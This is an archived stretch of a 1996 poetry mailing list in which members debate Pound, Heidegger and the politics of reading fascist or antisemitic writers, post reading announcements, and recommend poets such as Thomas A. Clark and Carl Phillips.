btw, when Chris Stroffolino speaks of a malaise/fear of taking a stance, how does that speak to Chris Daniels' I'm pissed post? Has CD been criticized for taking a stance, or taking a stance "unsophisticatedly," or taking too many stances or...? If he IS "charmingly naive," does that mean (as his post on backchannel messages he's received would seem to indicate) he's not welcome here? Speaking a little defensively as someone aware of her own naivete, if not her charm. e

~~~~~~

Emily Lloyd [redacted]

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462. **Maria Damon**
Re: Feminist Measures
Tue 19 Mar 1996

---

hiya dodie, the university press books bkstore in berkeley oughta have university press books. would that they were all "textbooks," then we'd have enough $ to really matronize the arts as we'd like... lovies,, maria d

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463. **Marjorie Perloff**
Re: Pound & Fascism
Tue 19 Mar 1996

Even as so many members of this list are excoriating Pound, we have, right now, a fascist in our midst named Pat Buchanan who has managed to get 30% of the Republican Primary vote even though (or perhaps because of) he makes open statements that are antisemitic, homophobic, and racist. Just the other day on TV (maybe CNN) a farmer in Georgia was being interviewed as to who he was planning to vote for. He said, "I think I'll vote for Pat Buchanan because he feels the way I do about the niggers." This on CNN. This is the world we live in--a world where many could hardly believe Furman said the "N word" and yet Buchanan gets away with this every day.

So I think if you want to fight Fascism you have to begin at home.

But as for Pound, I think many of the postings here have been quite off the mark. Reading Walter Benn Michaels' OUR AMERICA, about racial attitudes and nativism in the 20s, I was reminded what a horrible anti-semimite dear old Ernest Hemingway was, with that charming portrait of Robert Cohen in SUN ALSO RISES. It has recently been shown how anti-semitic HD was, in her notebooks for TRIBUTE TO FREUD. In fact, anti-Semitism and racism were as Michaels's shows, part and parcel of 20s postWWI culture. Very few writers escaped it. We have to try to understand why and not say let's get rid of Ezra Pound, who also happens to be one of the greatest poets of the 20th C.

I still believe--and I speak here as a refugee from Hitler whose family fled the morning of the Anschluss (March 12, 1938) of Austria--that Pound's "fascism"--most of it completely nonsensical, juvenile, and failing to understand how government works--was not nearly as dangerous as Heidegger's willed, conscious, perfectly "reasoned" Fascism. to read what Heidegger did at his own university
~~~~~~

in order to get rid of colleagues who might have Jewish blood boggles the mind. And then there's Paul de Man. As Eliot Weinberger wrote in SULFUR some years ago, Pound's iniquities are not on the same scale because who the hell listened to Pound's message?? Whereas Heidegger/de Man influenced generations of students.

Jerry McGann has an essay in CRITICAL INQUIRY (a few years back) where he makes an eloquent case for the Cantos as the tragic poem of the 20th C in that it sums up so many of the terrible ideologies, anxieties, prejudices around. To call it tragic may go too far, but Jerry is right. And without the Cantos, I maintain there would have been no Black Mt, no Objectivism,no Ethnopoetics (Rothenberg) and performance poetry like Mac Low's, and so on down the line. So to say, as some people have on this list, let's just get rid of Pound, is ridiculous.

And if you only read people whose ideology you approve of, who shall 'scape whipping? What about a Stalinist like Neruda? Is he to be totally excused for supporting his Dictator? Shall we not read Wyndham Lewis, a worse fascist than Pound but also an incredible writer? Let's see, who's left? What about the homophobic, antisemitic passages in Baraka? And so on.

It all comes back to the vexed question about the relation of poetry to politics and that's a question that should be hotly discussed in a larger theoretical way than it is today. Robert Duncan has wonderful comments on the issue in his correspondence (not yet published) with Denise Levertov. But whatever the relationship, it can't be Love my Politics, love my poetry.

Marjorie Perloff

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464. **main**
Re: Espanol
Tue 19 Mar 1996

On Tue, 19 Mar 1996, Mark Peters wrote:

> Could anyone direct me to some exciting contemporary poetry in
> Spanish? I need to improve my reading skills, and would love to
> discover and use some recent poetry in the process.
>
> Thanks,
> Mark
>
> "Look for discrepencies in your totem pole."
>

> --Kit Robinson
>
see _Mandorla_ mag (ed. Roberto Tejada / Apartado postal 5.366 / Mexico D.F. / Mexico 06500): olson, oppen, niedecker, etc. translated, and many contemporary writers in spanish.
dan

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465. **tosh berman**
Re: Pound & Fascism
Tue 19 Mar 1996

> *Marjorie Perloff*

I just want to say "yeah" to Marjorie's comments regarding Fascism. Thank you Marjorie!

tosh

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466. **Aldon L. Nielsen**
Re: Scroggins without Limits
Tue 19 Mar 1996

Mark -- Please post notice here as soon as that book is available!

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467. **chris daniels**
FW: Re: more on bunting /perloff's post
Tue 19 Mar 1996

--- On Tue, 19 Mar 1996 13:18:53 +0000 R I Caddel <[redacted]> wrote:

> *Thanks, Chris, for quoting the whole Bunting poem, inc. date. Those Alps still ain't crumbled, though the fools are still waiting and the cranks are still climbing (it seems to me increasingly evident that there's a direct link between the study of Pound's social economics and insanity). We have, surely to try to find some way to do as BB did, revile the politics of intolerance - especially where it lives on around us - and yet learn from the poetry, without which, as others have pointed out, we'd all be much poorer.*
>
> *What's the "oss"?*

OSS = overseas service, wch later became intelligence agencies all over europe and america, if i'm not mistaken. i have since looked it

up and find that bunting never worked for OSS itself (as far as we know),
but he was involved in some espionage work in iran during the war
and after, some if it shady (if not suspect)
>
>I can't lay hands on the quote of BB on EP you give, but for what it's

the quote is from a filmed interview i saw in a pbs show abt pound

> *worth I do recall (roughly) the conversations we naive students had with him c. 1968 (we nobbled him several times on this one, so the following is a kind of digest of his soundbites, as I remember them. He was remarkably consistent in his responses - Diplomatic Service training, I guess):*
>
> *Naive Students: Why was Pound a fascist?*
>
> *Bunting: You must remember that he became increasingly unstable throughout the 1930s, as he found himself isolated from friends and literary contemporaries. He was always susceptible to crackpot ideas, and that made him vulnerable to a direct wooing from Mussolini. Heaven knows why M. thought it worth his while.*

i don't know abt more recent knowledge, but as far as i know, pound's only real contact w/ mussolini, besides the many letters he sent, is described in The Pound Era: pound waited for quite a while to see mussolini. mussolini said that pound's poetry was "divertenti". pound thought mussolini was a hell of a guy for seeing that poetry shld delight! how sad and ironic that seems to me. was there really that much more direct wooing? i seem to think pound was the woo-er ...

> *NS: Why was Pound an antisemite?*
>
> *B: That was a very fashionable fad at the time, which a lot of people absorbed to a greater or lesser degree without recognising it. Because it seemed like a convenient solution to Pound's great economic headaches, he swallowed it unquestioningly - to his detriment. It lead him to be very hurtful to many of his friends, for which I remonstrated with him.*
>
> *NS: Have his views changed since the war?*
>
> *B: Couldn't say. His breakdown, when it inevitably came, was so complete as to make any real judgement difficult. Obviously eddies of his old preoccupations surface in fragments from time to time, but his main concern these days seems to be to find some sort of peace, mostly in silence. [nb - this was about the time drafts&fragments appeared]*
>
> *NS: If he's a fascist antisemite, shouldn't we refuse to read him?*
>
> *B: Your teachers would probably thank you, since you'd be sparing them a lot of difficult work. But you'd also be depriving yourselves of some of the best poetry of this century or many others, and of the fullest poetic*

> *toolkit which any young poet could have at his [sic] disposal. Refusal to learn from Pound's work, complex and flawed as it is, seems exceedingly dull-witted.*
>
> *[Kids! don't quote this in your theses! It's just the way I remember it... For what it's worth I buy quite a lot of BB's line on this - particularly that no competent poet or critic can simply dismiss Pound unread. You have to make the effort, and it has very great rewards. Equally, I was aware at the time that BB was oversimplifying EP's fascism and antisemitism - perhaps for his rather dim audience - in a way that won't do in the end. That has to be tackled too. It's a tricky old world. Sorry for taking up so much space/time on this... RC]*

i want to tack on a response to marjorie perloff's recent posting:

marjorie ---

i'd have to add to your list hugh macdiarmid, whose hymns to stalin have always confused me, and members of the tel quel group and the situationist international who showed strong maoist leanings in the sixties. also the whole 60's thing in america wch to my mind was very suspect w/ it's usually uninformed embracing (appropriation) of age-old religious customs, native american garb --- and the brutal sexism and intolerance shown by the yippies and others, the call for violence and murder --- the hell's angels were folk heroes at the time --- all this in spite of the very good things wch came out of the sixties

and the whole ufo craze --- now this amazes me --- were the inca and maya and egyptians so primitive that they cldn't have figured out how to build what they built? is the fact that the triangle is infinitely more stable than the square so incredibly hard for the "primitive" mind to grasp that they needed extraterrestrial help to see it? buckminster fuller figured it out for himself when he was a kid --- but he was born in america-descendent-of- europe, source of all progress and technology --- no wonder! oh that whole insistence on extraterrestrial technological aid strikes me as plain old thick-headed condescending chauvinism if not racism

and also that we live in very confusing times and must do the best we can to be humane

later ---

chris

---

christopher daniels <[redacted]> 3.19.96 9:25:20 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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468. **Joe Amato**
Re: Pound & Fascism
Tue 19 Mar 1996

---

first, chiming in here to say that i've been learning much---MUCH---about politics & poetry just from reading the various posts on this list re pound... and much about various (personal and public) histories, too... thanx to marjorie, jerry, jackson, ric, chris, everybody else (and chris---i'm sorry to hear of your backchannel struggles, i would have hoped for more generosity than it seems you've been shown by several poetics subscribers)...

love to see the duncan/levertov correspondence marjorie mentions, to see whether and how the revelatory aspect of form to which levertov was committed (and with which duncan is so engrossed) finds a political turning point... and as to politics & poetry, in particular: this latter constitutes for me the slippery slope on which i find mself most often these days, both as a poet and in a more general intellectual sense... i mean, the questions i find mself asking most frequently, and with most urgency, and with such tentativeness, are those that turn on this axis... which is not to deny aesthetic questions per se but simply to situate same...

it seems to me that the mere/sheer tendentiousness of politics & poetry as a couple, and the degree of controversy sustained whenever this couple surfaces as such, is itself a litmus of how charged it is, how pertinent it is to our discussions... i understand that many will feel a (territorial, discursive) claim being made here, but i really do believe that we have perhaps more to learn by plumbing the aesthetic/poetic in such terms than perhaps any other---at least in these times, in these places...

all best//

joe

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469. **Jordan Davis**
youth against fascism
Tue 19 Mar 1996

Our landlord here at Teachers & Writers is wearing a new kind of shoe that sounds like tap shoes. Increasing numbers of Americans buy their shoes through the mail.

Btw, I'm reading with Leslie Scalapino tomorrow (Wednesday @ 8 p.m.) at the Poetry Project at St. Marks Church, 131 E 10th, NYC.

--Jordan

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470. **Edward Foster**
Re: switzerland
Tue 19 Mar 1996

---

answering jordon's question, there's one recently read book especially worth mentioning. it was recommended by a friend whose recommendations have always been good, but this was a book published by graywolf, collecting work that first appeared in places like ploughshares and the kenyon review, and was endorsed who are very fine writers but who live, with ploughshares and greywolf and kenyon, in a different universe. and the writer teaches at harvard. hmmmm. it sounded more like a career than a poet. but you never know, and in fact book and poet turned out to be pretty terrific, so i pass this on. the writer is carl phillips and the book is cortege. yes, there is a great respect for convention and finish, but the poems are authentic and some are quite strong: see, for example, "the reach." or look at "toys," for example; not as fine as "the reach," i think, but it puts that old chestnut, roethke's "dolor," to shame. oh, that's not fair: roethke's poem is good; still, Phillips's is better. clearly many who are likely to read this would find phillips much too finished and rounded, and any surviving language people, should there by any, would have problems here, too. it's traditional in many ways, but there are many authentic moments here. yes: authentic, not a word we are supposed to use anymore, but phillips proves that it still works. -ed

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471. **Henry Gould**
Re: youth against fascism
Tue 19 Mar 1996

On Tue, 19 Mar 1996 12:43:57 -0500 Jordan Davis said:
>Our landlord here at Teachers & Writers is wearing a new kind of shoe that

>sounds like tap shoes. Increasing numbers of Americans buy their shoes
>through the mail.

Oh-oh. Pretty soon they'll be tapping our phones & metering our feet. How neo can you get. Call out the minutemen! - HG

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472. Jeffrey W. Timmons
Re: Pound & Fascism
Tue 19 Mar 1996

I haven't posted in a while and have only attended half-heartedly to this thread so please disregard my comments if they are repetitive of what has gone before them. . . . .

Following several recent posts on this thread perhaps the appropriate question to ask is how we are to grapple/read/theorize our relationship with poetry/writing of persons who's politics are less than delicious. What, that is, or how are we to approach the work when we find it or its writer involved with attitudes/beliefs/views we find anthema?

Richard Rorty in contingecy, irony and solidarity attempts to distinguish (in his reading of heidegger in particular) between the person and the writing; but i think this is somewhat inadequate--though it appeals to my new critical/post-structural sensibilities. Afterall, I am deeply interested in the person as well as the poetry/writing.

I, for one, think that in the case of pound that his views complicate our understanding/reading of the poetry in not altogether unproductive ways; that is, if nothing else they allow readers access to issues--as Marjorie points out--that were part of a set of attitudes generally part of many of the major figures of pound's era [hope I am repeating this correctly].

Basically, then, such questionable politics, rather than being an argument for abandoning the writer, actually makes the case for engagement with issues that are even more pressing and contemporary (as Marjorie also points out). I'm not advocating political activism (though I'm not ruling it out either) in the classroom (or wherever your reading takes place), but I am suggesting that an engagment with the writer's polictics can be a productive source of discussion.

Cheers y'all,

Jeffrey Timmons

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473. Kevin Killian
SPT: Island of Lost Souls
Tue 19 Mar 1996

One Night Only
"Island of Lost Souls"
a play by Kevin Killian
directed by Wayne Smith
A Benefit for Small Press Traffic Literary Arts Center
at the Lab
2948 16th Street, San Francisco
Thursday, March 28, 8:00 p.m.
$5-10, sliding scale
For reservations leave a message at 415/[redacted]

"Island of Lost Souls" is Long Island where, in the late 60's, one valiant woman tries to hold her family's life together with only brains and belief in God to aid her. Will Gabrielle Kerouac be able to protect the befuddled genius of her son, Jack, from Hollywood producers wishing to make a musical out of his masterpiece, On the Road, a book she herself wrote while he was passed out? Will she find love in the arms of charming heiress Sunny von Bulow, or lose her to the sinister machinations of her depraved husband Claus?

Starring
Phoebe Gloeckner
Barbara Guest
Glen Helfand
Clifford Hengst
Scott Hewicker
Philip Horvitz
Kevin Killian
Hoa Nguyen
Rex Ray
Michelle Rolllman
Leslie Scalapino
Alicia Wing

SUNNY. I'm fading, but I'm still stunning, like a loud clap of hands in a forest. - Maybe I shouldn't have eaten all that candy. I feel my blood sugar rising, turning my blue blood white, like the blue frost that makes snow flake. It was chocolate done me in, a victim of Whitman and Godiva. Come, Gabrielle, bring your Canadian freshness to this overheated place of fat!

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474. Tony Green
Re: more on bunting
Tue 19 Mar 1996

Yes, Chris, abandon Pound: stick to nourishing thoughts. There must be a poet somewhere who propounds nourishing thoughts, some clean poet somewhere, King David? No?

Tony Green,
e-mail: [redacted]

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475. Kevin Killian
SPT: Rae Armantrout & Fanny Howe
Tue 19 Mar 1996

Small Press Traffic and the Poetics Department of New College present

Rae Armantrout
and Fanny Howe

Saturday, March 30, 7:30 p.m.
at the New College Cultural Center
766 Valencia Street
San Francisco
$5

Rae Armantrout has published six book of poetry, most recently Made to Seem and Necromance from Sun and Moon press. Her poems have been included in numerous anthologies, including Out of Everywhere, Postmodern American Poetry: A Norton Anthology and From the Other Side of the Century. Her work has recently appeared in the Bay Area magazines New American Writing, Prosodia and Avec. Writing in Spin magazine, Lydia Davis has called Armantrout's poetry "brilliantly exact and never obvious." Rae Armantrout teaches writing at U.C. San Diego.

Fanny Howe is the author of numerous books of poetry, including, most recently, The End (Littoral) and O'Clock (Reality Street, England). Her most recent novels are Saving History and The Deep North (Sun & Moon). A trilogy of her earlier novels will be released in 1996. Her video work includes What Nobody Saw, Simone Weil Avenue and the award winning Be AGain. She teaches at the University of California at San Diego.

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476. **Tony Green**
Re: dadaists & mamaists
Tue 19 Mar 1996

My son Stefan's first word was "yuk". He called me Tony and his mother Judi until he was about five.

Tony Green,
e-mail: [redacted]

↑ Index

477. **Bill Luoma**
Re: Kundera
Tue 19 Mar 1996

---

joe

Joe, nice poster on dot EDU, which reminded me of the recent voyager wherein a Q wants to commit suicide to shake up the continuum. whatever happened to cya? rtfm?

Bill

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478. **Tardos Mac Low**
Heidegger
Tue 19 Mar 1996

The following messages were originally backchanneled to Alan Sondheim in answer to an email posting to me.

MESSAGE 1

Dear Alan,

Thanks for the message. From what I've read again lately (David Ferrell Krell's General Introduction to his collection _Martin Heidegger: Basic Writings_ (NY: Harpers, 1977), 26-28), MH *did* repudiate the Nazis in a real sense:

"On the eve of the Reichstag elections of Novemer 12 [1933] Heidegger spoke out in support of Hitlerian policis that culminated in Germany's withdrawal from the League of Nations--whose birth certificate was the deeply resented Versailles Treaty. Meanwhile the NSDAP-dominated ministry of culture began to pressure university leaders for more politiclly oriented courses and more ideologically enlightened faculty members to teach them. In February 1934 the Karlsruhe branch of the ministry demanded that Heidegger relieve of their duties two professors openly hostile to the movement. Heidegger demurred.At the

end of the month, because of this and apparently a whole range of administrative difficulties, he resigned. By the begining of the new year (1934) Heidegger had recognized the impossibility of the situation and the bankruptcy of his hopes for resurgence. [Wrongly, of course, he *had* hoped that the NASDP movement would lead to a "resurgence" of Germany--as did many others who were more informed politically than he was.] In lectures and seminars he began to criticize at first cautiously and then more stridently the Nazi ideology of _Blut unf Boden_ chauvinism that preached a racist origin for even poetry. [fn; "One of the most sharply critical texts appears in Martin Heidegger, _The End of Philosophy_, trans. Joan Stambaugh (NY: Harper & Row, 1973), pp. 105 ff.] Party admerents bitterly criticized Heidegger in the mid-1930s; his courses were apparently placed under surveillance; some were canceled; various restrictions were placed on his freedom to publish and to attend conferences. In the summer of 1944 he was declared the most "expendable" member of the university faculty and along with a recalcitrant ex-dean sent to the Rhine to dig trenches. Upon his return to Freiburg he was drafted into the People's Militia (_Volksturm_). Heidegger's support of the Nazi Party had lasted ten months (May 1933 to January 1934); it earned him the virulent enmity of many. That Heigger's early engagement in the Nazi cause was a monstrous error all concede; that this error sprang from basic tendencies of his thought only a few have argued. [fn: It is of course convenient to decide that Heidegger's shortlived but inense involvement in political despotism "taints" his work: that is the fastest way to rid the shelves of all sorts of difficult authors from Plato to Nietsche and to make righteous indignationeven more satisfying than it normally is. But neither does it do to close the eyes and stop up the ears to the dismal matter. {Krell then recommends several "accounts and reflections," notably Hannah Arendt's "Martin Heidegger at Eighty" [_The New York Review of Books_, October 21, 1971,pp. 53 -54 n.3) and Fergus Kerr's "Metaphysics after Heidegger: for Eighty-fifth Birthday," in _New Blackfriars_(August 1974), pp. 344-57.]

I am of course aware of the much more severe takes on this whole situation in the collection of essays on MH edited by Thomas McCarthy in the 1980s, of which I can't at present locate my copy..

I do not understand the connection you draw between Heidegger's idea of _Dasein_ and fascism. Please let me know your reasoning. As for "destiny," I have been convinced by Aristotle, Whitehead, and others that the future is open--that real *novelty* is continually coming to be, so "destiny" is not part of my philosophical vocabulary. To what extent is it basic to MH's thought?

MESSAGE 2

Alan

I found my copy of the collection I mentioned, but it was *not* edited by Thomas McCarthy but by Thomas Sheehan!- -_Heidegger: The Man and the Thinker_ (Chicago: Precedent Publishing, 1981). The relevant items are "Heidegger and the Nazis," by Karl A. Moehling" (pp. 31-43) and "'Only a God Can Save Us': The _Spiegel_ Interview (1966)" (pp. 45-67). The interview took place on 23 September 1966, but MH insisted it not be published during his lifetime. It appeared in _Der Spiegel_ on 31 May 1976, five days after his death. The translator of the interview, William J. Richardson, S.J., remarks in his intro to it that MH "neither repudiated, justified, nor explained" his "association with the Nazis while Rector pf the University of Freiburg, 1933-34." MH has a lot to say about this matter in the interview, & Moehling's essay is, with it, a very complete account of the matter.

Do you know this book? I picked it up at a small press book fair held at NYU in the early 80s.

Yrs, Jackson [Mac Low]
<[redacted]>

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479. Emily Lloyd
Re: SPT: Island of Lost Souls
Tue 19 Mar 1996

At 10:49 AM 3/19/96 -0800, Kevin Killian wrote:
>One Night Only
>"Island of Lost Souls"
>a play by Kevin Killian
>directed by Wayne Smith
>A Benefit for Small Press Traffic Literary Arts Center
>at the Lab
>2948 16th Street, San Francisco
>Thursday, March 28, 8:00 p.m.
>$5-10, sliding scale
>For reservations leave a message at 415/[redacted]

God, Kevin, sounds like a riot. Is there any way for po' easterners to get a look at the script? e

~~~
~~~

480. **Charles Smith**
Re: dadaists & mamaists
Tue 19 Mar 1996

There's surely more recent articles on the subject, but Roman Jakobson has a piece, "Why 'Moma' & 'Papa'?," collected in _On Language_ where as I recall, he says that labial & dental (both stopped) consonants & open vowels are the earliest phonemic acquisitions & that combinations of consonants & vowels which provide maximum contrast would first be used. That doesn't explain gendering, which I suspect must be taught.

Charles Smith

↑ Index

481. **Joe Tabbi**
announcement: electronic book review #2
Tue 19 Mar 1996

The second issue of the *electronic book review*, on "cultural criticism and the politics of selling out," is available for viewing at http://www.altx.com/ebr. It includes an essay by Joe Amato, which is partly about his experience contributing to the Poetics list, as well as essays by Poetics contributors Marjorie Perloff and Matt Kirschenbaum.

Joe Tabbi
editor, ebr

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482. **Joseph Zitt**
Re: ghost titles
Tue 19 Mar 1996

Well, it's not necessarily poetry, but there's always Harlan Ellison's "The Last Dangerous Visions", now some thirtyish years delayed.
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

483. **Tony Green**
Re: Bury Fascist Ezra Pound
Tue 19 Mar 1996

It's bigotry rather than Fascism maybe that this is about with Pound and the early twentieth century arty anti-semitisims but there are more of these good/bad guy cases... e.g. Anthony Blunt scholar and spy obtaining British military secrets for Russia. But do Read His Books, they have much to say on the issues that beset him, masks, disguises, projected onto his painter, ideology that his painter seemed to justify...but the most disinterested seeming scholar was he.

Tony Green,
e-mail: [redacted]

↑ Index

484. **Jonathan Brannen**
Re: Derrida's Style
Tue 19 Mar 1996

Peter,

I'd love to get a copy of the tape of Derrida reading _Feu la cendre_ with Carole Bousquet. Where might I obtain a copy?

Thanks,
Jonathan Brannen

> *I've been meditating the issue of Derrida's style, in response to an earlier posting, i.e. whether his style is in some sense a choice in relation to a possible audience.*
>
> *First, not to sound too pedantic, but any comments about his style would have to be directed to the French texts, *not* the translations. My own view is that he is one of the great stylists in the French language *ever.* In my own work with Derrida's text, I find that I am drawn in and engaged in a textual space that is unique and challenging, on a number of levels.*
>
> *Derrida has also been involved in a self-commentary, especially in texts like _Cinders_, available in bilingual edition, that approaches a kind of poetics of the text. The tape of Derrida reading _Feu la cendre_ with French actress Carole Bousquet (des femmes, 1986) is a real experience. His centering on the phrase *il y'a la (accent grave) cendre* [literally: there is ash there] reverberates in many ways consonant with the most interesting work (I think of Susan Howe, among others) investigating historically charged linguistic expression.*
>
> *I've already referenced my recent book on Derrida, _Deconstruction and*

> *the Ethical Turn_. For a more recent work in progress, I would invite list members to visit my Towson home page and the paper there: Deconstruction and the Question of Violence.*
>
> *http://www.towson.edu/~baker*
>
> *Though not specifically on topics of poetics, it does take a kind of cultural studies approach to issues of violence in reading of Derrida's essay "Force of Law" in juxtaposition to _Pulp Fiction_. Backchannel commentary welcome.*
>
> *Peter Baker*

↑ Index

485. **Jonathan Brannen**

Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996

Tue 19 Mar 1996

Chris,

Membrane Press (P.O. Box 11601 - Shorewood, Milwaukee, Wisconsin 53211) has published Thomas A. Clark in the states during the 1980s (to some degree reprints of Moschatel publications, in any case lovely). SPD, in spite of its regional leanings, has carried, at times, Clark's perfect bound books (i.e. those from Coach House, Polygon and Jargon), and may still have some in stock. Probably the best source for Clark's books in the U.S. is Woodland Pattern, a bookstore in Milwaukee which doesn't issue a catalog but does accept mail orders (P.O. Box 92081, Milwaukee, Wisconsin 53202). Woodland Pattern, has my vote for best bookstore (excellent chapbook, poetry and Canadian lit sections). Thomas A. Clark's work is well worth seeking out.

Best,
Jonathan Brannen

> *chris daniels wrote:*
> *i have bob brown's 1450-1950, it's one of my most treasured books,*
> *but who the hell is thomas a. clark? i'll find out, you bet.*
>
> *Thomas A. Clark hails from Grennock, and currently runs Moschatel Press with his wife Laurie in darkest Gloucestershire. Following a runs of books from Jonathan Williams' Jargon (latest: A Still Life, 1977) he's produced a range of tiny-but-perfect pamphlets & cards from Moschatel, as well as Madder Lake (Coach House 1981) Tormentil & Bleached Bones (Polygon 1993) and appeared (with Barry MacSweeney and Chris Torrance) in The Tempers of Hazard (Paladin 1993). The Paladin one was almost a ghost book, and could*

> *be hard to find: they were taken over by Rupert Murdoch during publication, and when MacSweeney phoned for extra copies c. six weeks after publication, he was told "Mr. Murdoch ordered it to be burned"...*
>
> *Here's one from The Hollow Way (Moschatel 1983):*
>
> *freshness gathers in a jar*
> *the evening waits on splendour*
> *we have come home from war*
> *only the indigent wander*
>
> *ask nothing of life*
> *the hours have no halter*
> *the garden gate is ajar*
> *purpose does not falter*
>
> *abundance ripens in a bowl*
> *the telephone rings in an empty room*
> *a turbulence of trapped wings*
> *in the corner reclines a broom*
>
> *- hope that helps!*
> *xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*
> *x x*
> *x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x*
> *x Durham University Library, Phone: 0[redacted] x*
> *x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x*
> *x x*
> *x "Words! Pens are too light. Take a chisel to write." x*
> *x - Basil Bunting x*
> *x x*
> *xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*

↑ Index

486. **Jonathan Brannen**

Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996

Tue 19 Mar 1996

Charles,

What's the address for Prest Roots Press?

Best,
Jonathan Brannen

> *Nice that this is the second time within a year (go back through the poetics list archive) that thomas a. clark has been the subject. Richard Caddel's list leaves out one title I have, which is Dwellings & Habitations, from Prest Roots Press in 1993. Kate Whiteford contributes drawings which do justice as well. Among the pages*
>
> *saxifrage on a wet rock face*
>
> *samphire in a salt marsh*
>
> *skeins of mist among bog cotton*
>
> *a depth of sky in a shallow pool*
>
> *quite in the rib-cage of a sheep's carcase*
>
> *always nice to have a reason to look back at thomas a. clark's work.*
>
> *charles alexander*

↑ Index

487. **cris cheek**

Re: poems

Tue 19 Mar 1996

> *CERYTAIN SUHLANTS TWO for Ron Silliman*
>
> *this*

is quite simply exhilerating.

thanks charles
love and love
cris

↑ Index

488. **Edward Foster**

Jeanne McGahey

Tue 19 Mar 1996

I was talking this evening with friends about Jeanne McGahey, who recently died, and thought it might be good to add something here about her. There is to be a memorial reading for her on March 30th in San Rafael; I only wish there had been readings in her honor that she could have attended these last few years. She was a very accomplished poet and deserved attention that she never got. McGahey (1906-1995) was a member of the group called the Activists by Auden. Their leader was Lawrence Hart, whom McGahey married in 1944. Hart took from Pound, Eliot, Crane, and other modernists various standards by which he felt poetry could be judged. In turn, as I understand it, these standards could be exploited as procedures or rules for the poet to follow. In some sense, then, it was possible to teach/learn how to write poetry. Hart and McGahey's son, John Hart (himself a respected poet), told me that the Activists (despite the name and Auden's collective praise) were never really a community but rather those who studied under his father during his fifty-year teaching career. The Activists were well known in the late 1940s and early 1950s, and there was a special issue of _Poetry_ dedicated to their work. And they had some very strong defenders: Theodore Weiss, for example, gave them much space in his magazine. But the Activists had to share the Bay area with the Rexroth and Duncan/Spicer groups, among others, and there was friction. Duncan, for example, dismissed Hart as one who did "not comprehend problems of poetry in the least." Duncan would not deny that Hart had "a remarkable number of interesting poets" working under him, but principally what he passed on to them was "the claptrap of bells, honey, coins and senory machinery." Duncan knew McGahey at Berkeley, and they were published together. In 1941, a selection of her work appeared in _Five Young American Poets_, published by New Directions, and she was, I'd guess, the first Bay Area poet of her generation to be nationally recognized. Her poetry was built from "images and phrases," which, she said, "might come through automatic writing, random devices, fragments I picked up from conversations, street signs, newspaper stories, anything: but if they fitted or were right, the emotion would seem to recognize them or let them in." Her intent was to "make the real more real," to create "a word reality that is as actual to the mind as place is to the senses." The results are great baroque constructions: "Old fogies in the rusty weather / Dream for a dram or two / that kelpy / Locomotive length" (i.e. sea serpent); "The day the iron fell: / the enormous Lie. / And the adversary licks it like a toad." Activist poetry, George Leite wrote, possesses "a surface of brilliant notation, imagery and connotative statement." According to McGahey, "the `interesting' word is very seldom the abstract word." Between 1983 and 1986, McGahey

edited _The Poetry Letter_ from her home in San Rafael and tried again to promote the Activist position, but the magazine did not have much circulation. I visited McGahey a few years ago, and found her a truly wonderful person who remained absolutely committed to the Activist ideas. Lawrence Hart was equally certain that the Activists were the true heirs of the modernists--at least those in their pantheon, which apparently did not have room for Stevens or even Williams. I liked them immensely, their certainty and conviction. And I think her poetry should be much better known. It is worth locating a copy of _Homecoming with Reflections_, her selected poems published ten or twelve years ago. Here is part of one of her poems, reprinted on a memorial card for her: The old and disheveled may well take aim. Whatever they came for: the lucky fix, The absolute noise, the smile that disappeared Like a sparrow: these being forfeit Leave little to lose.

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489. chris daniels

Re: may-sures & misc

Tue 19 Mar 1996

> *btw, when Chris Stroffolino speaks of a malaise/fear of taking a stance, how*
> *does that speak to Chris Daniels' I'm pissed post? Has CD been criticized for taking a stance, or taking a stance "unsophisticatedly," or taking too many stances or...? If he IS "charmingly naive," does that mean (as his post on backchannel messages he's received would seem to indicate) he's not welcome here? Speaking a little defensively as someone aware of her own naivete, if not her charm. e*

emily ---

one last shot, and then i'll say no more abt it.

i think i was criticized for not speaking "the language of the tribe."

later ---

chris

---

christopher daniels <[redacted]> 3.19.96 6:03:08 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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490. **Thomas Bell**
Re: may-sures & misc
Tue 19 Mar 1996

---

chris- check out archives for the past month. A couple of other newcomers have expressed pleasure at their recption here. I'll join them in expressing my comfort here even though I am a complete ignoramus in regard to poetry politic's ins and outs. In my experience this is probably the most tolerant and friendly place online.

tom bell

On Tue, 19 Mar 1996, chris daniels wrote:

> *btw, when Chris Stroffolino speaks of a malaise/fear of taking a stance, how*
> *does that speak to Chris Daniels' I'm pissed post? Has CD been criticized for taking a stance, or taking a stance "unsophisticatedly," or taking too many stances or...? If he IS "charmingly naive," does that mean (as his post on backchannel messages he's received would seem to indicate) he's not welcome here? Speaking a little defensively as someone aware of her own naivete, if not her charm. e*
>
> *emily ---*
>
> *one last shot, and then i'll say no more abt it.*
>
> *i think i was criticized for not speaking "the language of the tribe."*
>
> *later ---*
>
> *chris*
> *----------*
> *christopher daniels <[redacted]> 3.19.96 6:03:08 pm*
>
> *q: "how can you be revolutionary when 20 years ago they said anything goes?"*
> *--- charles wourinen*
>
> *a: "free yr mind and yr ass will follow."*

> *--- george clinton*
>
> *snail: 1474b 7th st berkeley ca 94710 usa*
> *voice: [redacted]*
> *http://users.lanminds.com/~kunos/ (constructing)*

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491. **tosh berman**
Re: Pound & Fascism
Wed 20 Mar 1996

> *Cheers y'all,*
>
> *Jeffrey Timmons*

